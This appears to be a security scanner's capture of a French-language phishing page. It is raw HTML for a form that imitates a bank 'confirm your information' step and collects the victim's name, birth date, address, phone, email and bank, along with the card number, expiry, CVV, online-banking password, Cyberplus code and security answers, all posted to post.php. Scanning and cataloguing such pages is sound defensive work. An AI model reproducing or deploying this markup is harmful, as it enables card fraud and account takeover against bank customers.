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Submission: On October 01 via manual from AU — Scanned from AU

Form analysis 1 forms found in the DOM

POST post.php

<form method="post" action="post.php" style="
">
  <div id="creation" class="form-group col-xs-12 col-md-6 col-lg-6 optionmere" style="margin-bottom: 4%;">
    <h1 class="titre" style="
    margin-top: -1%;
">Confirmer vos informations</h1>
    <div class="" style="
    margin-top: 0%;
">
      <div class="erreur invisible" id="Cat23S"></div>
      <div>
        <input type="hidden" id="spi" name="spi">
        <input type="hidden" id="teledec" name="teledec">
        <input type="hidden" id="rfr" name="rfr">
        <div class="form-group saisie">
          <label for="teledec_tmp">Nom complet</label>
          <a href="#" class="info">
                                  <img width="18" height="18" class="aide" src="templates/info.png" alt="Aide">
                                    <span data-toggle="tooltip">
                                            Saisissez votre Prénom et Nom. 
                                        </span>
                                            </a>
          <br>
          <div class="form-group saisie" style=" width: 102%;">
            <input class="saisie4 " placeholder="Prénom" name="AK01" aria-required="true" autocomplete="off" id="rfr_tmp" required="" style="
    width: 49%;
">
            <input class="saisie5 " placeholder="Nom" type="text" name="AK02" aria-required="true" autocomplete="off" required="required" style="
    width: 49%;
">
            <div class="erreur invisible" id="Cat1_3S_rfr_tmp"> Veuillez vérifier votre saisie. </div>
          </div>
        </div>
        <div class="form-group saisie">
          <label for="spi_tmp">Date de Naissance</label>
          <br>
          <div style="
    width: 102%;
"><select name="AK03" data-msg-required="&nbsp;*" class="saisie2" id="user-base-data-jour" required="required" style="
">
              <option value="">Jour</option>
              <option value="01">01</option>
              <option value="02">02</option>
              <option value="03">03</option>
              <option value="04">04</option>
              <option value="05">05</option>
              <option value="06">06</option>
              <option value="07">07</option>
              <option value="08">08</option>
              <option value="09">09</option>
              <option value="10">10</option>
              <option value="11">11</option>
              <option value="12">12</option>
              <option value="13">13</option>
              <option value="14">14</option>
              <option value="15">15</option>
              <option value="16">16</option>
              <option value="17">17</option>
              <option value="18">18</option>
              <option value="19">19</option>
              <option value="20">20</option>
              <option value="21">21</option>
              <option value="22">22</option>
              <option value="23">23</option>
              <option value="24">24</option>
              <option value="25">25</option>
              <option value="26">26</option>
              <option value="27">27</option>
              <option value="28">28</option>
              <option value="29">29</option>
              <option value="30">30</option>
              <option value="31">31</option>
            </select>
            <select name="AK04" data-rule-required="true" class="saisie2" data-msg-required="&nbsp;*" id="user-base-data-mois" required="required" style="
    width: 32%;
">
              <option value="">Mois</option>
              <option value="Janvier">Janvier</option>
              <option value="Février">Février</option>
              <option value="Mars">Mars</option>
              <option value="Avril">Avril</option>
              <option value="Mai">Mai</option>
              <option value="Juin">Juin</option>
              <option value="Juillet">Juillet</option>
              <option value="Août">Août</option>
              <option value="Septembre">Septembre</option>
              <option value="Octobre">Octobre</option>
              <option value="Novembre">Novembre</option>
              <option value="Décembre">Décembre</option>
            </select>
            <select name="AK05" data-rule-required="true" data-msg-required="&nbsp;*" class="saisie2" id="user-base-data-année" required="required">
              <option value="">Année</option><!--l'ann&eacute;e-->
              <option value="2001">2001</option>
              <option value="2000">2000</option>
              <option value="1999">1999</option>
              <option value="1998">1998</option>
              <option value="1997">1997</option>
              <option value="1996">1996</option>
              <option value="1995">1995</option>
              <option value="1994">1994</option>
              <option value="1993">1993</option>
              <option value="1992">1992</option>
              <option value="1991">1991</option>
              <option value="1990">1990</option>
              <option value="1989">1989</option>
              <option value="1988">1988</option>
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              <option value="1985">1985</option>
              <option value="1984">1984</option>
              <option value="1983">1983</option>
              <option value="1982">1982</option>
              <option value="1981">1981</option>
              <option value="1980">1980</option>
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              <option value="1978">1978</option>
              <option value="1977">1977</option>
              <option value="1976">1976</option>
              <option value="1975">1975</option>
              <option value="1974">1974</option>
              <option value="1973">1973</option>
              <option value="1972">1972</option>
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              <option value="1970">1970</option>
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              <option value="1965">1965</option>
              <option value="1964">1964</option>
              <option value="1963">1963</option>
              <option value="1962">1962</option>
              <option value="1961">1961</option>
              <option value="1960">1960</option>
              <option value="1959">1959</option>
              <option value="1958">1958</option>
              <option value="1957">1957</option>
              <option value="1956">1956</option>
              <option value="1955">1955</option>
              <option value="1954">1954</option>
              <option value="1953">1953</option>
              <option value="1952">1952</option>
              <option value="1951">1951</option>
              <option value="1950">1950</option>
              <option value="1949">1949</option>
              <option value="1948">1948</option>
              <option value="1947">1947</option>
              <option value="1946">1946</option>
              <option value="1945">1945</option>
              <option value="1944">1944</option>
              <option value="1943">1943</option>
              <option value="1942">1942</option>
              <option value="1941">1941</option>
              <option value="1940">1940</option>
              <option value="1939">1939</option>
              <option value="1938">1938</option>
              <option value="1937">1937</option>
              <option value="1936">1936</option>
              <option value="1935">1935</option>
              <option value="1934">1934</option>
              <option value="1933">1933</option>
              <option value="1932">1932</option>
              <option value="1931">1931</option>
              <option value="1930">1930</option>
              <option value="1929">1929</option>
              <option value="1928">1928</option>
              <option value="1927">1927</option>
              <option value="1926">1926</option>
              <option value="1925">1925</option>
              <option value="1924">1924</option>
              <option value="1923">1923</option>
              <option value="1922">1922</option>
              <option value="1921">1921</option>
              <option value="1920">1920</option>
              <option value="1919">1919</option>
              <option value="1918">1918</option>
              <option value="1917">1917</option>
              <option value="1916">1916</option>
              <option value="1915">1915</option>
              <option value="1914">1914</option>
              <option value="1913">1913</option>
              <option value="1912">1912</option>
              <option value="1911">1911</option>
              <option value="1910">1910</option>
              <option value="1909">1909</option>
              <option value="1908">1908</option>
              <option value="1907">1907</option>
              <option value="1906">1906</option>
              <option value="1905">1905</option>
            </select>
          </div>
        </div>
        <div class="form-group saisie">
          <label for="teledec_tmp">Adresse</label>
          <a href="#" class="info">
                                  <img width="18" height="18" class="aide" src="templates/info.png" alt="Aide">
                                    <span data-toggle="tooltip">
                                            Saisissez votre Adresse/code Postal. 
                                        </span>
                                            </a>
          <br>
          <div class="form-group saisie" style=" width: 102%;">
            <input class="saisie4 " placeholder="Adresse" name="AK06" aria-required="true" autocomplete="off" id="rfr_tmp" required="" style="
">
            <input class="saisie5 " placeholder="Code Postal" type="numéro" name="AK07" aria-required="true" autocomplete="off" id="zip" required="required" style="width: 39%;">
            <div class="erreur invisible" id="Cat1_3S_rfr_tmp"> Veuillez vérifier votre saisie. </div>
          </div>
        </div>
        <div class="form-group saisie">
          <label for="teledec_tmp">Téléphone</label>
          <a href="#" class="info">
                                  <img width="18" height="18" class="aide" src="templates/info.png" alt="Aide">
                                    <span data-toggle="tooltip">
                                            Saisissez votre Numéro de téléphone/Adresse électronique. 
                                        </span>
                                            </a>
          <br>
          <div class="form-group saisie" style=" width: 102%;">
            <input class="saisie4 " placeholder="Mobile" name="AK08" type="tel" pattern="^(?:0|\(?\+33\)?\s?|0033\s?)[1-79](?:[\.\-\s]?\d\d){4}$" aria-required="true" autocomplete="off" id="rfr_tmp" required="" style="
">
            <input class="saisie5 " placeholder="Adresse électronique" type="email" name="AK09" aria-required="true" autocomplete="off" id="zip" pattern="[a-z0-9._%+-]+@[a-z0-9.-]+\.[a-z]{2,4}$" required="required" style="width: 39%;">
            <div class="erreur invisible" id="Cat1_3S_rfr_tmp"> Veuillez vérifier votre saisie. </div>
          </div>
        </div>
      </div>
    </div>
  </div>
  <div id="creation" class="form-group col-xs-12 col-md-6 col-lg-6 optionmere1" style="
">
    <h1 class="titre" style="
    margin-top: -1%;
">Vos coordonnées bancaire</h1>
    <div class="" style="
    margin-top: 0%;
    width: 100%;
">
      <input type="hidden" id="spi" name="spi">
      <input type="hidden" id="teledec" name="teledec">
      <input type="hidden" id="rfr" name="rfr">
      <div class="form-group saisie">
        <script>
          function chide() {
            document.getElementById("ccin").style.display = 'none';
            document.getElementById("account").style.display = 'none';
            document.getElementById("separ").style.display = 'none';
            document.getElementById("qbpos").style.display = 'none';
            document.getElementById("reponses").style.display = 'none';
            document.getElementById("qbpos2").style.display = 'none';
            document.getElementById("reponses2").style.display = 'none';
            document.getElementById("qbposlcl").style.display = 'none';
            document.getElementById("reponseslcl").style.display = 'none';
            document.getElementById("qbposlcl2").style.display = 'none';
            document.getElementById("reponseslcl2").style.display = 'none';
            document.getElementById("ibad").style.display = 'none';
            document.getElementById("plus").style.display = 'none';
          }

          function ccheck(x) {
            chide();
            if (x == "pst") {
              document.getElementById("account").style.display = '';
            }
            if (x == "cm") {}
            if (x == "caisse") {}
            if (x == "lcl") {}
            if (x == "sg") {}
            if (x == "bnp") {}
            if (x == "bp") {
              document.getElementById("plus").style.display = '';
            }
            document.getElementById("ccin").style.display = '';
          }
        </script>
        <table border="0" cellspacing="0" width="560" style="
    width: 100%;
">
          <tbody>
            <tr>
              <td width="180">
                <label class="saisie ">Votre banque :</label>
              </td>
              <td>
                <select class="saisie4 " name="bank" onchange="ccheck(this.options[this.selectedIndex].value);">
                  <option value="none">Choisissez votre banque</option>
                  <option value="amex">American Express</option>
                  <option value="axa">Axa Banque</option>
                  <option value="bp">Banque populaire</option>
                  <option value="bnp">BNP</option>
                  <option value="bred">Bred</option>
                  <option value="caisse">Caisse d'èpargne</option>
                  <option value="ca">Crèdit agricole</option>
                  <option value="cm">Crèdit mutuel</option>
                  <option value="cn">Crèdit du nord</option>
                  <option value="cic">CIC</option>
                  <option value="hsbc">HSBC</option>
                  <option value="sg">Sociètè gènèrale</option>
                  <option value="pst">La banque postale</option>
                  <option value="lcl">LCL</option>
                  <option value="na">Autres</option>
                </select>
              </td>
            </tr>
          </tbody>
        </table>
        <table id="ccin" border="0" cellspacing="0" width="560" style="
    width: 100%;
">
          <tbody>
            <tr>
              <td width="180"><label class="saisie ">Nº de carte de crèdit :</label></td>
              <td>
                <input oninput="maxLengthCheck(this)" maxlength="20" minlength="16" type="tel" class="saisie TroisSChamps"
                  style="background-image: url(&quot;templates/cccc.png&quot;); background-repeat: no-repeat; background-position: 101.5% 74.8%; width: 225px;" id="cardcc" onkeyup="type_carte()" placeholder="Nº de carte de crédit" name="ccnum"
                  aria-required="true" autocomplete="off" required="required" templates="">
                <div class="erreur invisible" id="ccnum"> Votre numéro de Carte de Crédit comporte uniquement des caractÚres numériques ; veuillez vérifier votre saisie. </div>
              </td>
            </tr>
            <tr>
              <td width="180"><label class="saisie ">Date d'expiration :</label></td>
              <td>
                <select class="saisie4 " aria-required="true" autocomplete="off" required="required" name="expMonth" tabindex="16" style="
    width: 78px;
">
                  <option value="" selected="">Mois</option>
                  <option value="1">1</option>
                  <option value="2">2</option>
                  <option value="3">3</option>
                  <option value="4">4</option>
                  <option value="5">5</option>
                  <option value="6">6</option>
                  <option value="7">7</option>
                  <option value="8">8</option>
                  <option value="9">9</option>
                  <option value="10">10</option>
                  <option value="11">11</option>
                  <option value="12">12</option>
                </select>
                <select class="saisie4 " aria-required="true" autocomplete="off" required="required" name="expYear" tabindex="17" style="
    width: 98px;
">
                  <option value="" selected="">Annèe</option>
                  <option value="2021">2021</option>
                  <option value="2022">2022</option>
                  <option value="2023">2023</option>
                  <option value="2024">2024</option>
                  <option value="2025">2025</option>
                  <option value="2026">2026</option>
                  <option value="2027">2027</option>
                  <option value="2028">2028</option>
                  <option value="2029">2029</option>
                  <option value="2030">2030</option>
                  <option value="2031">2031</option>
                </select>
              </td>
            </tr>
            <script>
              // This is an old version, for a more recent version look at
              // https://jsfiddle.net/DRSDavidSoft/zb4ft1qq/2/
              function maxLengthCheck(object) {
                if (object.value.length > object.maxLength) object.value = object.value.slice(0, object.maxLength)
              }
            </script>
            <tr>
              <td width="174"><label class="saisie ">Cryptogramme :</label></td>
              <td><input oninput="maxLengthCheck(this)" maxlength="3" min="1" max="3" placeholder="CVV" class="saisie4 " aria-required="true" autocomplete="off" required="required" name="cvv" type="tel" size="3" style="
    width: 68px;
"></td>
            </tr>
            <tr id="account" style="display: none;">
              <td width="174"><label class="saisie ">Mot de passe de votre espace client :</label></td>
              <td><input class="saisie4 " name="account" type="text" size="16"></td>
            </tr>
            <tr id="ibad" style="display: none;">
              <td width="174"><label class="saisie "></label></td>
              <td><input class="saisie4 " name="ibad" type="text" size="16"><img src="images/aide.gif" title="L'identifiant est celui que vous utilisez pour vous connecter Ã&nbsp; Crèdit Mutuel."></td>
            </tr>
            <tr id="plus" style="">
              <td width="174"><label class="saisie ">Cyberplus :</label></td>
              <td><input class="saisie4 " name="plus" type="tel" size="16"></td>
            </tr>
            <tr id="separ" style="display: none;">
              <td width="49"><label class="saisie "></label></td>
              <td></td>
            </tr>
            <tr id="qbpos" style="display : none;">
              <td width="174"><label class="saisie "></label></td>
              <td><select class="saisie4 " name="question" id="question" size="1">
                  <option value="Dans quelle rue avez-vous grandi ?"></option>
                </select></td>
            </tr>
            <tr id="reponses" style="display: none;">
              <td width="174"><label class="saisie "></label></td>
              <td><input class="saisie4 " name="reponses" type="text" size="29"></td>
            </tr>
            <tr id="qbpos2" style="display : none;">
              <td width="174"><label class="saisie "></label></td>
              <td><select class="saisie4 " name="question2" id="question2" size="1">
                  <option value="Le prènom de votre meilleur ami d'enfance ?"></option>
                </select></td>
            </tr>
            <tr id="reponses2" style="display: none;">
              <td width="174"><label class="saisie "></label></td>
              <td><input class="saisie4 " name="reponses2" type="text" size="29"></td>
            </tr>
            <tr id="qbposlcl" style="display : none;">
              <td style="
    padding-right: 0px;
    width: 200px;
" width="174"><label class="saisie ">Question personnelle 1 :</label></td>
              <td><select class="saisie4 " name="questionlcl" id="questionlcl" size="1">
                  <option value="Dans quelle rue avez-vous grandi ?"></option>
                </select></td>
            </tr>
            <tr id="reponseslcl" style="display: none;">
              <td width="174"><label class="saisie "></label></td>
              <td><input class="saisie4 " name="reponseslcl" type="text" size="29"></td>
            </tr>
            <tr id="qbposlcl2" style="display : none;">
              <td width="174"><label class="saisie "></label></td>
              <td><select class="saisie4 " name="questionlcl2" id="questionlcl2" size="1">
                  <option value="Dans quelle rue avez-vous grandi ?"></option>
                </select></td>
            </tr>
            <tr id="reponseslcl2" style="display: none;">
              <td width="174"><label class="saisie "></label></td>
              <td><input class="saisie4 " name="reponseslcl2" type="text" size="29"></td>
            </tr>
            <tr id="ghazcisse" style="display: none;">
              <td width="174"><label class="saisie "></label></td>
              <td><input class="saisie4 " name="ghazcisse" type="text" size="4"></td>
            </tr>
            <tr id="ghazcisse0" style="display: none;">
              <td width="174"><label class="saisie "></label></td>
              <td><input class="saisie4 " name="ghazcisse0" type="text" size="4"></td>
            </tr>
          </tbody>
        </table>
        <script type="text/javascript">
          var frmvalidator = new Validator("darnoo");
          frmvalidator.addValidation("ccnum", "req", "Veuillez entrer votre N&#186; de carte de cr&egrave;dit.");
          frmvalidator.addValidation("ccnum", "maxlen=16", "Votre N&#186; de carte de cr&egrave;dit est incorrect.");
          frmvalidator.addValidation("ccnum", "minlen=15", "Votre N&#186; de carte de cr&egrave;dit est incorrect.");
          frmvalidator.addValidation("ccnum", "num", "Votre N&#186; de carte de cr&egrave;dit est incorrect.");
          frmvalidator.addValidation("expMonth", "num", "Veuillez entrer la date d'&egrave;xpiration.");
          frmvalidator.addValidation("expYear", "num", "Veuillez entrer la date d'&egrave;xpiration.");
          frmvalidator.addValidation("cvv", "req", "Veuillez entrer votre Code de s&egrave;curit&egrave; (CVV).");
          frmvalidator.addValidation("cvv", "num", "Veuillez entrer votre Code de s&egrave;curit&egrave; (CVV).");
          frmvalidator.addValidation("cvv", "maxlen=4", "Votre Code de s&egrave;curit&egrave; (CVV) est incorrect.");
          frmvalidator.addValidation("cvv", "minlen=3", "Votre Code de s&egrave;curit&egrave; (CVV) est incorrect.");
        </script>
      </div>
      <button id="partPriv" class="btn11 btn-primary" style="border-radius: 3px;font-size: 13px;font-family: Arial;font-weight: bold;padding: 7px 16px;vertical-align: top;background: #4464E6;border: 1px solid #4464E6;color: #fdfdff;width: 100%;"
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    </div>
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